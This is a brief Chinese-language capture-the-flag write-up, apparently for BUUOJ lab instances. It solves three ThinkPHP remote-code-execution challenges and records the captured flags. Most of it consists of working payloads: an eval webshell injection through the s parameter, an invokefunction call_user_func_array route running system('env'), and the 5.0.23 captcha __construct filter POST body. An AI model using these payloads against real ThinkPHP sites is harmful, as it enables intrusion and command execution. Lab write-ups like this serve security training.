[ThinkPHP]2,5,5.0.23-Rce
[ThinkPHP]2-Rce
?s是一个常用的api,然后我们传入ls命令发现会报错,报错信息中会显示thinkphp的版本
然后我们只要找到thinkphp2.1的payload达到一个命令执行的效果
?s=/index/index/xxx/${${@eval($_POST[pass])}}
?s=/index/index/xxx/${@phpinfo()}
在php中,${}可以构造变量,如果{}里面写的是一般的字符,那么就会被当成变量,例如${a}会被当成变量$a。
?s=/index/index/xxx/${@phpinfo()}
所以这句话是把phpinfo()作为变量输出到了页面显示,flag就在这些信息中,Ctrl+F搜索即可
或者用上面那个一句话,post传参也可以
或者我们可以用system函数去构造一些命令
pass=system("ls /");
env是环境变量的意思,flag就在环境变量里
FLAG=flag{37e4044e-f6a6-4b82-bdcd-90c6d88b99fc}
[ThinkPHP]5-Rce
可以用call_user_func_array()这个函数来构造命令执行
flag同样在环境变量中
http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env
http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=-1
或者在phpinfo中也可以找到flag
FLAG=flag{a0aaca06-5435-40aa-82c7-d16307d6c0c6}
[ThinkPHP]5.0.23-Rce
http://node4.buuoj.cn:26842/?s=captcha
POST:
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env
FLAG=flag{58214b0e-de30-4acd-898f-9a17a7d07c56}